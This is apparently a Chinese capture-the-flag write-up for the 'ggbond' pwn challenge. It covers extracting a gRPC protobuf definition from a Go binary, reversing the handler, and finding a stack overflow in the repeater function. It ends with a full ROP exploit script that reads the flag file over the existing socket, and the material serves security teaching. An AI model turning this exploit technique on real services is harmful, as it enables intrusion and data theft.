DubheCTF2024 | Pwn进你的心 (ywhkkx.github.io)
2024 DubheCTF pwn wp - Eurus禁止摆烂! (akaieurus.github.io)
xctf-ggbond复现 | StarrySky (starrysky1004.github.io)
分析 提供的附件如下
1 2 3 4 5 6 7 8 9 ├── bin │ ├── ctf.xinetd │ ├── flag │ ├── pwn │ ├── pwn.i64 │ └── start.sh ├── docker-compose.yml ├── Dockerfile └── pow.py
除了二进制文件以及Dockfile部署文件还有一个pow.py
pow.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 import stringimport itertoolsimport refrom pwn import *from hashlib import sha256 remote_ip = '' remote_port = 1337 def pow (): p = remote(remote_ip, remote_port) rev = p.recvuntil(b' == ' ).decode() pattern = r'xxxx\+([a-zA-Z0-9]+)' rev = re.search(pattern, rev).group(1 ) target_digest = p.recv(64 ).decode() characters = string.ascii_letters + string.digits all_combinations = ['' .join(comb) for comb in itertools.product(characters, repeat=4 )] for comb in all_combinations: proof = comb+rev digest = sha256(proof.encode()).hexdigest() if target_digest == digest: result = comb break p.send(result) p.recvuntil(b' nc ' ) rev = p.recvline().decode() pattern = r'(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\s(\d+)' result = re.search(pattern, rev) target_ip = result.group(1 ) target_port = int (result.group(2 )) sleep(3 ) return target_ip, target_port target_ip, target_port=pow ()
gpt一下
pow
应该是Proof of Work
的缩写,PoW 是一种网络协议的机制,用于防止网络滥用,比如防止DDoS攻击和垃圾邮件。在这里,服务器会给客户端一个工作量证明(Proof of Work)的问题,客户端需要解决这个问题才能与服务器建立连接。解决这个问题通常需要一些计算资源和时间,但验证答案很简单。
这段代码的主要作用是通过解决Proof of Work (PoW)
来获取远程服务器指定的下一目标IP
地址和端口号,其实我们并不需要多做关注
gRPC 文件夹的名字叫做gRPC,搜索一下
RPC (Remote Procedure Call)
远程过程调用,允许一台计算机通过网络调用另一台计算机上的程序或函数 ,RPC
框架通常负责打包(序列化)请求参数,传输消息,在服务器端解包(反序列化)参数,执行远程过程,并将结果返回给客户端
gRPC
是由Google
开发的现代开源高性能RPC
框架,支持多种编程语言。gRPC
默认使用Protocol Buffers(protobuf)
作为接口定义语言(IDL
)和其底层消息交换格式,提供了一种简洁高效的方式来定义服务和生成客户端和服务器代码
参考
pbtk 前面提到gRPC使用protobuf作为接口语言
于是有一个专门的工具pbtk可以提取Protobuf
结构 ,将其转换回可替代的.proto
可以使用.gui.py
图形化操作
也可以直接使用pbtk/extractors/from_binary.py
脚本
然后我们可以在分离出的protobuf结构体中找到ggbond.proto
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 syntax = "proto3" ; package GGBond;option go_package = "./;ggbond" ; service GGBondServer { rpc Handler(Request) returns (Response); } message Request { oneof request { WhoamiRequest whoami = 100 ; RoleChangeRequest role_change = 101 ; RepeaterRequest repeater = 102 ; } } message Response { oneof response { WhoamiResponse whoami = 200 ; RoleChangeResponse role_change = 201 ; RepeaterResponse repeater = 202 ; ErrorResponse error = 444 ; } } message WhoamiRequest { } message WhoamiResponse { string message = 2000 ; } message RoleChangeRequest { uint32 role = 1001 ; } message RoleChangeResponse { string message = 2001 ; } message RepeaterRequest { string message = 1002 ; } message RepeaterResponse { string message = 2002 ; } message ErrorResponse { string message = 4444 ; }
在protobuf中,service
关键字用于定义一个服务,而 rpc
关键字用于定义该服务中的远程过程调用
rpc Handler(Request) returns (Response)
:这行代码定义了一个名为 Handler
的远程过程调用。它接收一个 Request
类型的参数,并返回一个 Response
类型的响应。
其他数据都有定义
我们需要与grpc进程进行交互,那么就需要将上一步中分离出来的proto文件编译为可供python引用的形式
首先安装grpc_tools
:
pip install grpcio-tools
grpc_tools
是 Google 开发的一组工具,用于帮助开发者使用 gRPC框架。我们这里安装的是对应python版本的
然后执行
1 python3 -m grpc_tools.protoc -I. --python_out=. --grpc_python_out=. ggbond.proto
就会生成ggbond_pb2_grpc.py
、ggbond_pb2.py
ggbond_pb2_grpc.py
:
ggbond_pb2_grpc.py
包含了根据 .proto
文件生成的 gRPC 客户端和服务器的代码。
这个文件中定义了 gRPC 客户端和服务器的存根(Stub)和服务器(Servicer)类。
客户端使用存根类来发送请求并接收响应,服务器使用服务器类来实现服务方法。
存根和服务器类中的方法是根据 .proto
文件中定义的服务和远程过程调用(RPC)自动生成的。
ggbond_pb2.py
:
ggbond_pb2.py
包含了根据 .proto
文件生成的所有消息类型和相关的数据结构。
这个文件中定义了 .proto
文件中所描述的所有消息类型,以及消息类型之间的关系。
在 gRPC 通信中,客户端和服务器都需要使用这些消息类型来构建请求和响应消息。
来个例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import grpcimport ggbond_pb2import ggbond_pb2_grpcdef main (): channel = grpc.insecure_channel('localhost:23334' ) stub = ggbond_pb2_grpc.GGBondServerStub(channel) request = ggbond_pb2.Request( whoami=ggbond_pb2.WhoamiRequest(), ) response = stub.Handler(request) if response.HasField('whoami' ): print ("Received response: " , response.whoami.message) elif response.HasField('error' ): print ("Error occurred: " , response.error.message) if __name__ == '__main__' : main()
结果:1 2 > python gRPC_test.py Received response: I'm GGBOND
那么整个交互的脚本就可以写出来了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from pwn import *import grpcimport ggbond_pb2import ggbond_pb2_grpcimport base64def whoami (chan ): stub=ggbond_pb2_grpc.GGBondServerStub(chan) respond=stub.Handler(ggbond_pb2.Request(whoami=ggbond_pb2.WhoamiRequest())) return respond def role_change (chan,role ): stub=ggbond_pb2_grpc.GGBondServerStub(chan) respond=stub.Handler(ggbond_pb2.Request(role_change=ggbond_pb2.RoleChangeRequest(role=role))) return respond def repeater (chan,message ): stub=ggbond_pb2_grpc.GGBondServerStub(chan) respond=stub.Handler(ggbond_pb2.Request(repeater=ggbond_pb2.RepeaterRequest(message=base64.b64encode(message)))) return respond channel=grpc.insecure_channel('localhost:23334' )
漏洞利用 之后就是恶心的go逆向了
这题还是取出了符号的,不过现在有8.3的ida pro可以使用,直接能够恢复符号
或者没有的话使用AlapaGo插件也行
在一坨代码中找到了
1 google_golang_org_grpc__ptr_Server_RegisterService(v62, &stru_C59860, v65);
看函数名字像是注册服务器
跟进,发现其内部使用了第二个参数比较多,而恰好ida又将其识别成了结构体
跟进看看
ida将其识别成了grpc_ServiceDesc
结构体,在ida中可以找到相关定义,这里直接贴源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 type ServiceDesc struct { ServiceName string HandlerType any Methods []MethodDesc Streams []StreamDesc Metadata any } type MethodDesc struct { MethodName string Handler methodHandler } type StreamDesc struct { StreamName string Handler StreamHandler ServerStreams bool ClientStreams bool }
然后我们可以在MethodDesc中找到handler函数
不过这都是复现时才知道的,实际要发现还是要靠一些观察力,或者直接去搜函数名字筛选
找到handler函数在7ED300
在这里(*(void (__golang **)(void *, __int64, __int64, ggbond_Request *))(v21 + 24))(a2, v31, a4, p_ggbond_Request);
进行了功能调用
调试跟一下
发现最终是调用0x7ed860
,找到,又是一坨
最终发现当role为3时
1 2 3 4 5 6 for ( i = 0LL ; i < (__int64)(3 * (len >> 2 )); ++i ){ *(_BYTE *)v50 = *v51; v50 = (__int128 *)((char *)v50 + 1 ); ++v51; }
repeater可以往栈上写无限制数据(go题最后果然都是栈溢出 )
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 from pwn import *import grpcimport ggbond_pb2import ggbond_pb2_grpcimport base64def whoami (chan ): stub=ggbond_pb2_grpc.GGBondServerStub(chan) respond=stub.Handler(ggbond_pb2.Request(whoami=ggbond_pb2.WhoamiRequest())) return respond def role_change (chan,role ): stub=ggbond_pb2_grpc.GGBondServerStub(chan) respond=stub.Handler(ggbond_pb2.Request(role_change=ggbond_pb2.RoleChangeRequest(role=role))) return respond def repeater (chan,message ): stub=ggbond_pb2_grpc.GGBondServerStub(chan) respond=stub.Handler(ggbond_pb2.Request(repeater=ggbond_pb2.RepeaterRequest(message=base64.b64encode(message)))) return respond p = remote("127.0.0.1" , 23334 ) channel=grpc.insecure_channel('localhost:23334' ) print (role_change(channel,3 ))rdi_addr=0x401537 rsi_addr=0x422398 rdx_addr=0x461bd1 rax_addr=0x4101e6 syscall_addr=0x40452C flag_addr=0x7FAEEC bss_addr=0xC90000 payload=b'a' *0xc8 payload+=p64(rdi_addr)+p64(flag_addr)+p64(rsi_addr)+p64(0 )+p64(rdx_addr)+p64(0 ) payload+=p64(rax_addr)+p64(2 )+p64(syscall_addr) payload+=p64(rdi_addr)+p64(9 )+p64(rsi_addr)+p64(bss_addr)+p64(rdx_addr)+p64(0x30 ) payload+=p64(rax_addr)+p64(0 )+p64(syscall_addr) payload+=p64(rdi_addr)+p64(7 )+p64(rsi_addr)+p64(bss_addr)+p64(rdx_addr)+p64(0x30 ) payload+=p64(rax_addr)+p64(1 )+p64(syscall_addr) try : repeater(channel,payload) except : print (p.recv(0x1000 ))
flag字符串是通过自带的字符串截取出来的
由于我们只是跟进程的一个端口23334打交道,所以就算getshell也没办法与其交互,因为shell继承的标准流是进程的
当然如果像binsh这些方法应该是可行的,不过显然有点麻烦
所以通过orw是一个比较好的选择
通过现成的 socket 传输 flag,但这样会导致结构错误从而使 python 没法处理数据,但是我们可以直接抓包获取 flag:
sudo tcpdump -i eth0 -w flag.pcap
除此以外还有另一种方法:
1 2 p = remote("127.0.0.1" , 23334 ) conn = grpc.insecure_channel('localhost:23334' )
这两个虽然是不同的连接,但 p.recv 仍然可以接受 conn 的数据
这类开放端口的服务器题目大多会有这个问题,可以用作参考